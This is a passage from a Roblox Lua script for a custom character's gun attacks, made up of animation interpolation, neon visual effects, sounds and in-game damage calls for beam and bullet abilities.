0,SizeBoomerang = 50}) Effect({Time = 25,EffectType = "Box",Size = Vector3.new(),Size2 = Vector3.new(3,3,3),Transparency = 0,Transparency2 = 1,CFrame = mousehit,MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(1,1,1),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 50}) for i = 0,2 do Effect({Time = math.random(25,50),EffectType = "Round Slash",Size = Vector3.new(),Size2 = Vector3.new(.1,0,.1),Transparency = 0,Transparency2 = 1,CFrame = mousehit*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))),MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(0, 0, 0),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 15}) Effect({Time = math.random(25,50),EffectType = "Round Slash",Size = Vector3.new(),Size2 = Vector3.new(.1,0,.1),Transparency = 0,Transparency2 = 1,CFrame = mousehit*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))),MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(1,1,1),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 15}) end shieldmg(mousehit.p,10) end)) for i = 0,.5,.075 do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 + .5 * math.cos(sine/50),0,2 - .5 * math.sin(sine/50)) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(30)),.7/3) Neck.C0 = Clerp(Neck.C0,nc0 * CFrame.new() * CFrame.Angles(math.rad(10),math.rad(0),math.rad(-60)),1/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0) * CFrame.Angles(math.rad(160),math.rad(-20),math.rad(60)) * rscp,1/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0) * CFrame.Angles(math.rad(40),math.rad(5),math.rad(5)) * lscp,1/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-.5,-.5) * CFrame.Angles(math.rad(-15 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-15 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-106.3-.9*math.cos(sine/12)),math.rad(0),math.rad(0)),1 / 2) end ATTACK = false end local Backups = script.Garbage local Instance_ = Instance.new function IT_(ClassType,Parent,Properties) local NewInstance if typeof(Backups[ClassType]) == "Instance" then NewInstance = Backups[ClassType]:Clone() else NewInstance = Instance_(ClassType) end if type(Properties) == "table" then for i,v in pairs(Properties) do NewInstance[i] = v end end if typeof(Parent) == "Instance" then NewInstance.Parent = Parent end return NewInstance end function CreateParta(parent,transparency,reflectance,material,brickcolor) local p = Instance.new("Part") p.TopSurface = 0 p.BottomSurface = 0 p.Parent = parent p.Size = Vector3.new(0.1,0.1,0.1) p.Transparency = transparency p.Reflectance = reflectance p.CanCollide = false p.Locked = true p.BrickColor = brickcolor p.Material = material return p end function CreateWelde(parent,part0,part1,C1X,C1Y,C1Z,C1Xa,C1Ya,C1Za,C0X,C0Y,C0Z,C0Xa,C0Ya,C0Za) local weld = Instance.new("Weld") weld.Parent = parent weld.Part0 = part0 weld.Part1 = part1 weld.C1 = CFrame.new(C1X,C1Y,C1Z)*CFrame.Angles(C1Xa,C1Ya,C1Za) weld.C0 = CFrame.new(C0X,C0Y,C0Z)*CFrame.Angles(C0Xa,C0Ya,C0Za) return weld end function slash(bonuspeed,rotspeed,rotatingop,typeofshape,type,typeoftrans,pos,scale,value,color) local type = type local rotenable = rotatingop local rng = Instance.new("WedgePart", Character) rng.Anchored = true rng.BrickColor = color rng.CanCollide = false rng.FormFactor = 3 rng.Name = "Ring" rng.Material = "Neon" rng.Size = Vector3.new(1,1,1) rng.Transparency = 0 if typeoftrans == "In" then rng.Transparency = 1 end rng.TopSurface = 0 rng.BottomSurface = 0 rng.CFrame = pos local rngm = Instance.new("SpecialMesh", rng) rngm.MeshType = "FileMesh" if typeofshape == "Normal" then rngm.MeshId = "rbxassetid://6921767935" elseif typeofshape == "Round" then rngm.MeshId = "rbxassetid://6921767935" end rngm.Scale = scale local scaler2 = 1/10 if type == "Add" then scaler2 = 1*value/10 elseif type == "Divide" then scaler2 = 1/value/10 end local randomrot = math.random(1,2) coroutine.resume(coroutine.create(function() for i = 0,10/bonuspeed,0.1 do wait(0.001) if type == "Add" then scaler2 = scaler2 - 0.01*value/bonuspeed/10 elseif type == "Divide" then scaler2 = scaler2 - 0.01/value*bonuspeed/10 end if rotenable == true then if randomrot == 1 then rng.CFrame = rng.CFrame*CFrame.Angles(0,math.rad(rotspeed*bonuspeed/0.1),0) elseif randomrot == 2 then rng.CFrame = rng.CFrame*CFrame.Angles(0,math.rad(-rotspeed*bonuspeed/0.1),0) end end if typeoftrans == "Out" then rng.Transparency = rng.Transparency + 0.01*bonuspeed elseif typeoftrans == "In" then rng.Transparency = rng.Transparency - 0.01*bonuspeed end rngm.Scale = rngm.Scale + Vector3.new(scaler2*bonuspeed/0.1, 0, scaler2*bonuspeed/0.1) end rng:Destroy() end)) end function sphereMK(bonuspeed,FastSpeed,type,pos,x1,y1,z1,value,color,outerpos) local type = type local rng = Instance.new("Part", Character) rng.Anchored = true if ModeOfGlitch ~= 9 then rng.BrickColor = color elseif ModeOfGlitch == 9 then rng.Color = Color3.new(0/1000,0/1000,0/1000) end rng.CanCollide = false rng.FormFactor = 3 rng.Name = "Ring" rng.Material = "Neon" rng.Size = Vector3.new(1, 1, 1) rng.Transparency = 0 rng.TopSurface = 0 rng.BottomSurface = 0 rng.CFrame = pos rng.CFrame = rng.CFrame + rng.CFrame.lookVector*outerpos local rngm = Instance.new("SpecialMesh", rng) rngm.MeshType = "Sphere" rngm.Scale = VT(x1,y1,z1) if rainbowmode == true then rng.Color = Color3.new(r/255,g/255,b/255) end if ModeOfGlitch == 9 then coroutine.resume(coroutine.create(function() while true do swait() if rng.Parent ~= nil then rng.Color = Color3.new(0/1000,0/1000,0/1000) else break end end end)) end local scaler2 = 1 local speeder = FastSpeed if type == "Add" then scaler2 = 1*value elseif type == "Divide" then scaler2 = 1/value end coroutine.resume(coroutine.create(function() for i = 0,10/bonuspeed,0.1 do swait() if rainbowmode == true then rng.Color = Color3.new(r/255,g/255,b/255) end if type == "Add" then scaler2 = scaler2 - 0.01*value/bonuspeed elseif type == "Divide" then scaler2 = scaler2 - 0.01/value*bonuspeed end if chaosmode == true then rng.BrickColor = BrickColor.random() end speeder = speeder - 0.01*FastSpeed*bonuspeed rng.CFrame = rng.CFrame + rng.CFrame.lookVector*speeder*bonuspeed rng.Transparency = rng.Transparency + 0.01*bonuspeed rngm.Scale = rngm.Scale + Vector3.new(scaler2*bonuspeed, scaler2*bonuspeed, 0) end rng:Destroy() end)) end function slash2(bonuspeed,rotspeed,rotatingop,typeofshape,type,typeoftrans,pos,scale,value,color) local type = type local rotenable = rotatingop local rng = Instance.new("Part", Character) rng.Anchored = true rng.BrickColor = color rng.CanCollide = false rng.FormFactor = 3 rng.Name = "Ring" rng.Material = "Neon" rng.Size = Vector3.new(1, 1, 1) rng.Transparency = 0 if typeoftrans == "In" then rng.Transparency = 1 end rng.TopSurface = 0 rng.BottomSurface = 0 rng.CFrame = pos local rngm = Instance.new("SpecialMesh", rng) rngm.MeshType = "FileMesh" if typeofshape == "Normal" then rngm.MeshId = "rbxassetid://662586858" elseif typeofshape == "Round" then rngm.MeshId = "rbxassetid://662585058" end rngm.Scale = scale local scaler2 = 1/10 if type == "Add" then scaler2 = 1*value/10 elseif type == "Divide" then scaler2 = 1/value/10 end local randomrot = math.random(1,2) coroutine.resume(coroutine.create(function() for i = 0,10/bonuspeed,0.1 do swait() if type == "Add" then scaler2 = scaler2 - 0.01*value/bonuspeed/10 elseif type == "Divide" then scaler2 = scaler2 - 0.01/value*bonuspeed/10 end if rotenable == true then if randomrot == 1 then rng.CFrame = rng.CFrame*CFrame.Angles(0,math.rad(rotspeed*bonuspeed/2),0) elseif randomrot == 2 then rng.CFrame = rng.CFrame*CFrame.Angles(0,math.rad(-rotspeed*bonuspeed/2),0) end end if typeoftrans == "Out" then rng.Transparency = rng.Transparency + 0.01*bonuspeed elseif typeoftrans == "In" then rng.Transparency = rng.Transparency - 0.01*bonuspeed end rngm.Scale = rngm.Scale + Vector3.new(scaler2*bonuspeed/10, 0, scaler2*bonuspeed/10) end rng:Destroy() end)) end function sphere2(bonuspeed,type,pos,scale,value,value2,value3,color) local type = type local rng = Instance.new("Part", Character) rng.Anchored = true rng.BrickColor = color rng.CanCollide = false rng.FormFactor = 3 rng.Name = "Ring" rng.Material = "Neon" rng.Size = Vector3.new(1, 1, 1) rng.Transparency = 0 rng.TopSurface = 0 rng.BottomSurface = 0 rng.CFrame = pos local rngm = Instance.new("SpecialMesh", rng) rngm.MeshType = "Sphere" rngm.Scale = scale local scaler2 = 1 local scaler2b = 1 local scaler2c = 1 if type == "Add" then scaler2 = 1*value scaler2b = 1*value2 scaler2c = 1*value3 elseif type == "Divide" then scaler2 = 1/value scaler2b = 1/value2 scaler2c = 1/value3 end if ModeOfGlitch == 9 then coroutine.resume(coroutine.create(function() while true do swait() if rng.Parent ~= nil then rng.Color = Color3.new(0/1000,0/1000,0/1000) else break end end end)) end coroutine.resume(coroutine.create(function() for i = 0,10/bonuspeed,0.1 do swait() if type == "Add" then scaler2 = scaler2 - 0.01*value/bonuspeed scaler2b = scaler2b - 0.01*value/bonuspeed scaler2c = scaler2c - 0.01*value/bonuspeed elseif type == "Divide" then scaler2 = scaler2 - 0.01/value*bonuspeed scaler2b = scaler2b - 0.01/value*bonuspeed scaler2c = scaler2c - 0.01/value*bonuspeed end rng.Transparency = rng.Transparency + 0.01*bonuspeed rngm.Scale = rngm.Scale + Vector3.new(scaler2*bonuspeed, scaler2b*bonuspeed, scaler2c*bonuspeed) end rng:Destroy() end)) end --[[local bguis = Instance.new("BillboardGui",Torso) bguis.Size = UDim2.new(8, 0, 8, 0) bguis.AlwaysOnTop = true local imgca = Instance.new("ImageLabel",bguis) imgca.BackgroundTransparency = 1 imgca.ImageTransparency = 0 imgca.Size = UDim2.new(1,0,1,0) imgca.Image = "rbxassetid://3980946361" imgca.ImageColor3 = Color3.new(1,1,1) function colmo(Col1,Col2) local MAINRUINCOLOR = BrickColor.new("Medium blue") local MAINRUINCOLOR2 = BrickColor.new("Institutional white") imgca.ImageColor3 = Col2 for i = 0 , 19 do sphereMK(7.5,math.random(15,50)/45,"Add",RootPart.CFrame*CFrame.new(math.random(-25,25),-10,math.random(-25,25))*CFrame.Angles(math.rad(90 + math.random(-20,20)),math.rad(math.random(-20,20)),math.rad(math.random(-20,20))),0.75,0.75,10,-0.0075,MAINRUINCOLOR2,0) slash(math.random(50,100)/10,5,true,"Round","Add","Out",Torso.CFrame*CFrame.new(0,0,0)*CFrame.Angles(math.rad(math.random(-360,360)),math.rad(math.random(-360,360)),math.rad(math.random(-360,360))),VT(0.01,0.01,0.01),math.random(5,50)/250,MAINRUINCOLOR2) end end ]] function SingularityBeam() if GUN.Parent == nil then return end ATTACK = true AttackGyro() for i = 0,0.5,0.05 do swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 + .5 * math.cos(sine/50),0,3 - .5 * math.sin(sine/50)) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(-60)),0.7/3) Neck.C0 = Clerp(Neck.C0,nc0 * CFrame.new() * CFrame.Angles(math.rad(0),math.rad(0),math.rad(60)),1/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.25,0.5,-.25) * CFrame.Angles(math.rad(90),math.rad(0),math.rad(-60)) * rscp,1/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.25,0.5,-.25) * CFrame.Angles(math.rad(95),math.rad(0),math.rad(10)) * lscp,1/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-0.5,-0.5) * CFrame.Angles(math.rad(-15 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),0.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-15 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),0.7/3) if mde ~= 18 then GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(0,-.5,0) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 18 then GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(0,-.5,0) * CFrame.Angles(math.rad(-90),math.rad(-180),math.rad(0)),1/2) end end local HoleDist = (Hole.Position - Holetwo.Position).Magnitude local chargebeam = CreatePart(3,Effects,"Neon",0,0,Color3.new(0, 0, 0),"Charge Beam",Vector3.new(.25,HoleDist,.25),false) MakeForm(chargebeam,"Cyl") chargebeam.CFrame = CFrame.new(Hole.Position,Holetwo.Position) * CFrame.new(0,0,-HoleDist/2) * CFrame.Angles(math.rad(90),math.rad(0),math.rad(0)) local chargeweld = weldBetween(GUN.Joint,chargebeam) local chargeball = CreatePart(3,Effects,"Neon",0,0,Color3.new(1, 1, 1),"Charge Ball",Vector3.new(.5,.5,.5),false) chargeball.Shape = "Ball" chargeball.CFrame = Holetwo.CFrame weldBetween(Holetwo,chargeball) CreateSound(342793847,Hole,10,1,false) local bigball = game:GetService("TweenService"):Create(chargeball,TweenInfo.new(3.86,Enum.EasingStyle.Linear),{Size = Vector3.new(2.5,2.5,2.5)}) bigball:Play() bigball.Completed:Wait() chargebeam:Destroy() local KillDist = (Holetwo.Position - Mouse.Hit.p).Magnitude coroutine.resume(coroutine.create(function() repeat if stopeverything then wait(math.huge) end KillDist = (Holetwo.Position - Mouse.Hit.p).Magnitude Swait() until attack == false end)) local killbeam = CreatePart(3,Effects,"Neon",0,0,Color3.new(1, 1, 1),"Kill Beam",Vector3.new(2.5,KillDist,2.5)) MakeForm(killbeam,"Cyl") killbeam.Touched:Connect(function(victim) if stopeverything then wait(math.huge) end mdmg(victim.Position,5) end) coroutine.resume(coroutine.create(function() while not stopeverything and ATTACK do mdmg(Mouse.Hit.p,5) Swait(6) end end)) coroutine.resume(coroutine.create(function() local isdoingathing = false while not stopeverything and ATTACK do isdoingathing = not isdoingathing if Player.Name == Player.Name then RootPart.CFrame = RootPart.CFrame * CFrame.new(0,0,.1) end killbeam.Size = Vector3.new(2.5,KillDist,2.5) killbeam.CFrame = CFrame.new(Holetwo.Position,Mouse.Hit.p) * CFrame.new(0,0,-KillDist/2) * CFrame.Angles(math.rad(90),math.rad(0),math.rad(0)) if isdoingathing then Lightning(Holetwo.Position,Mouse.Hit.p,15,3,Color3.new(0,0,1),10,0,1,0,true,55) Effect({Time = 10,EffectType = "Round Slash",Size = Vector3.new(),Size2 = Vector3.new(.1,0,.1),Transparency = 0,Transparency2 = 1,CFrame = Holetwo.CFrame*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))),MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = GUN.NeonParts.Color,SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 15}) Effect({Time = 10,EffectType = "Round Slash",Size = Vector3.new(),Size2 = Vector3.new(.1,0,.1),Transparency = 0,Transparency2 = 1,CFrame = Holetwo.CFrame*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))),MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(0, 0, 0),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 15}) Effect({Time = 10,EffectType = "Box",Size = Vector3.new(),Size2 = Vector3.new(3,3,3),Transparency = 0,Transparency2 = 1,CFrame = Mouse.Hit,MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = GUN.NeonParts.Color,SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 50}) Effect({Time = 10,EffectType = "Box",Size = Vector3.new(),Size2 = Vector3.new(3,3,3),Transparency = 0,Transparency2 = 1,CFrame = Mouse.Hit,MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(1, 1, 1),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 50}) Effect({Time = 10,EffectType = "Round Slash",Size = Vector3.new(),Size2 = Vector3.new(.1,0,.1),Transparency = 0,Transparency2 = 1,CFrame = Mouse.Hit*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))),MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = GUN.NeonParts.Color,SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 15}) Effect({Time = 10,EffectType = "Round Slash",Size = Vector3.new(),Size2 = Vector3.new(.1,0,.1),Transparency = 0,Transparency2 = 1,CFrame = Mouse.Hit*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))),MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(0, 0, 0),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 15}) end Swait() end end)) CreateSound(138677306,Holetwo,10,1,false) CreateSound(415700134,Holetwo,10,1,false) Swait(150) CreateSound(3264923,Holetwo,10,1,false) Swait(30) chargeball:Destroy() killbeam:Destroy() ATTACK = false end function attacktwo() if GUN.Parent == nil then return end ATTACK = true AttackGyro() local gBullet = CreatePart(3,Effects,"Neon",0,0,Color3.new(0,0,1),"BullyFuck",Vector3.new()) MakeForm(gBullet,"Ball") gBullet.CFrame = LeftArm.CFrame*CFrame.new(0,-1.5,0) CreateSound(2785493,gBullet,2,0.8) for i = 0,1.25,0.025 do swait() Effect({Time = math.random(35,55),EffectType = "Sphere",Size = Vector3.new(0.5,0.5,0.5),Size2 = Vector3.new(1,1,1),Transparency = 0,Transparency2 = 1,CFrame = LeftArm.CFrame*CFrame.new(0,-1.5,0),MoveToPos = LeftArm.CFrame*CFrame.new(0,-1.5,0)*CFrame.new(math.random(-10,10),math.random(-10,10),math.random(-10,10)).p,RotationX = nil,RotationY = nil,RotationZ = nil,Material = "Neon",Color = Color3.new(0, 0, 0),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 50,SizeBoomerang = 50}) gBullet.Size = gBullet.Size * 1.085 gBullet.CFrame = LeftArm.CFrame*CFrame.new(0,-1.5,0) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 + .5 * math.cos(sine/50),0,3 - .5 * math.sin(sine/50)) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(-30)),0.7/3) Neck.C0 = Clerp(Neck.C0,nc0 * CFrame.new(0,0,0 + ((1) - 1)) * CFrame.Angles(math.rad(-5 - 3 * math.cos(sine/12)),math.rad(0),math.rad(30)),1/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,0.5,0) * CFrame.Angles(math.rad(135 + 8.5 * math.cos(sine/49)),math.rad(0),math.rad(25)) * RIGHTSHOULDERC0,0.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,0.5 + 0.1 * math.cos(sine/12),-0) * CFrame.Angles(math.rad(85 - 1.5 * math.cos(sine/12)),math.rad(0 - 6 * math.cos(sine/12)),math.rad(-30 - 6 * math.cos(sine/12))) * lscp,1/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-0.5,-0.5) * CFrame.Angles(math.rad(-15 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),0.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-15 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),0.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(0.05,-1,-0.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) end local bullets = {} for i = 1,math.random(27,41) do swait() local Bullet = CreatePart(3,Effects,"Neon",0,0,Color3.new(0,0,1),"BulletFuck",Vector3.new(0.6,0.6,0.6)) MakeForm(Bullet,"Ball") Bullet.CFrame = gBullet.CFrame Effect({Time = math.random(5,20),EffectType = "Sphere",Size = Vector3.new(3,3,3)*math.random(-3,2),Size2 = Vector3.new(6,6,6)*math.random(-3,2),Transparency = 0.4,Transparency2 = 1,CFrame = Bullet.CFrame,MoveToPos = nil,RotationX = nil,RotationY = nil,RotationZ = nil,Material = "Neon",Color = Color3.new(0, 0, 0),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 25}) table.insert(bullets,Bullet) end local oofing = false for b = 1,#bullets do swait() local part,pos = rayCast(LeftArm.CFrame*CFrame.new(0,-1.5,0).p,((Mouse.Hit.p+Vector3.new(math.random(-15,15),math.random(-7,7),math.random(-15,15))) - LeftArm.CFrame*CFrame.new(0,-1.5,0).p),500,Character) coroutine.resume(coroutine.create(function() FireArc(bullets[b],pos,math.random(17,31),math.random(9,15),false) Effect({Time = math.random(25,35),EffectType = "Sphere",Size = Vector3.new(0.6,0.6,0.6),Size2 = Vector3.new(1.6,1.6,1.6),Transparency = 0,Transparency2 = 1,CFrame = bullets[b].CFrame,MoveToPos = nil,RotationX = nil,RotationY = nil,RotationZ = nil,Material = "Neon",Color = Color3.new(0, 0, 0),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 25}) swait(math.random(55,65)) for i = 1,3 do Effect({Time = math.random(45,65),EffectType = "Sphere",Size = Vector3.new(0.6,6,0.6)*math.random(-1.05,1.25),Size2 = Vector3.new(1.6,10,1.6)*math.random(-1.05,1.25),Transparency = 0,Transparency2 = 1,CFrame = bullets[b].CFrame*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))),MoveToPos = nil,RotationX = nil,RotationY = nil,RotationZ = nil,Material = "Neon",Color = Color3.new(0, 0, 0),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 20,SizeBoomerang = 35}) end for i = 0,10 do swait() bullets[b].Transparency = bullets[b].Transparency + 0.1 end oofing = not oofing if oofing then mdmg(bullets[b].Position,10) end local EEEBRUHEEE = CreateSound(168513088,bullets[b],3.5,1.1,false) bullets[b].Transparency = 1 EEEBRUHEEE.Ended:Connect(function() if stopeverything then wait(math.huge) end bullets[b]:Destroy() end) end)) end for i = 0,10 do swait() gBullet.Transparency = gBullet.Transparency + 0.1 end gBullet:Destroy() ATTACK = false end --//=================================\\ --|| Flight --\\=================================// --//=================================\\ --|| END FLIGHT --\\=================================// function hedshoot() if GUN.Parent == nil then return end ATTACK = true CreateSound(235097614,RootPart,6,1.5,false) for i = 0,0.5,0.05 do swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 + .5 * math.cos(sine/50),0,3 - .5 * math.sin(sine/50)) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(-60)),0.7/3) Neck.C0 = Clerp(Neck.C0,nc0 * CFrame.new() * CFrame.Angles(math.rad(0),math.rad(0),math.rad(60)),1/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.25,0.5,-.25) * CFrame.Angles(math.rad(90),math.rad(0),math.rad(-60)) * rscp,1/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.25,0.5,-.25) * CFrame.Angles(math.rad(95),math.rad(0),math.rad(10)) * lscp,1/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-0.5,-0.5) * CFrame.Angles(math.rad(-15 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),0.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-15 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),0.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(0,-.5,0) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) end Effect({Time = 25,EffectType = "Box",Size = Vector3.new(2,2,2),Size2 = Vector3.new(5,5,5),Transparency = 0,Transparency2 = 1,CFrame = RootPart.CFrame,MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(0, 0, 0),SoundID = 6150717352,SoundPitch = 0.35,SoundVolume = 6,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 50}) Effect({Time = 25,EffectType = "Box",Size = Vector3.new(2,2,2),Size2 = Vector3.new(5,5,5),Transparency = 0,Transparency2 = 1,CFrame = RootPart.CFrame,MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(1,1,1),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 50}) Effect({Time = math.random(25,45),EffectType = "Sphere",Size = Vector3.new(2,100,2),Size2 = Vector3.new(6,100,6),Transparency = 0,Transparency2 = 1,CFrame = RootPart.CFrame*CFrame.new(math.random(-1,1),math.random(-1,1),-50)*CFrame.Angles(math.rad(math.random(89,91)),math.rad(math.random(-1,1)),math.rad(math.random(-1,1))),MoveToPos = nil,RotationX = nil,RotationY = nil,RotationZ = nil,Material = "Neon",Color = Color3.new(1, 1, 1),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 45}) Effect({Time = math.random(25,45),EffectType = "Sphere",Size = Vector3.new(3,100,3),Size2 = Vector3.new(9,100,9),Transparency = 0,Transparency2 = 1,CFrame = RootPart.CFrame*CFrame.new(math.random(-1,1),math.random(-1,1),-50)*CFrame.Angles(math.rad(math.random(89,91)),math.rad(math.random(-1,1)),math.rad(math.random(-1,1))),MoveToPos = nil,RotationX = nil,RotationY = nil,RotationZ = nil,Material = "Neon",Color = Color3.new(0,0,0),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 45}) mdmg(RootPart.Position,14) for i = 1,4 do RootPart.CFrame = RootPart.CFrame * CFrame.new(0,0,-25) mdmg(RootPart.Position,14) Lightning(RootPart.CFrame*CFrame.new(math.random(-2.5,2.5),math.random(-5,5),math.random(-15,15)).p,RootPart.CFrame*CFrame.new(math.random(-2.5,2.5),math.random(-5,5),math.random(-15,15)).p,6,25,shade,math.random(30,45),0.5,1.5,0,true,60) Lightning(RootPart.CFrame*CFrame.new(math.random(-2.5,2.5),math.random(-5,5),math.random(-15,15)).p,RootPart.CFrame*CFrame.new(math.random(-2.5,2.5),math.random(-5,5),math.random(-15,15)).p,6,25,Color3.new(0,0,1),math.random(30,45),0.5,1.5,0,true,60) end Effect({Time = 25,EffectType = "Box",Size = Vector3.new(2,2,2),Size2 = Vector3.new(5,5,5),Transparency = 0,Transparency2 = 1,CFrame = RootPart.CFrame,MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(0, 0, 0),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 50}) Effect({Time = 25,EffectType = "Box",Size = Vector3.new(2,2,2),Size2 = Vector3.new(5,5,5),Transparency = 0,Transparency2 = 1,CFrame = RootPart.CFrame,MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(1,1,1),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 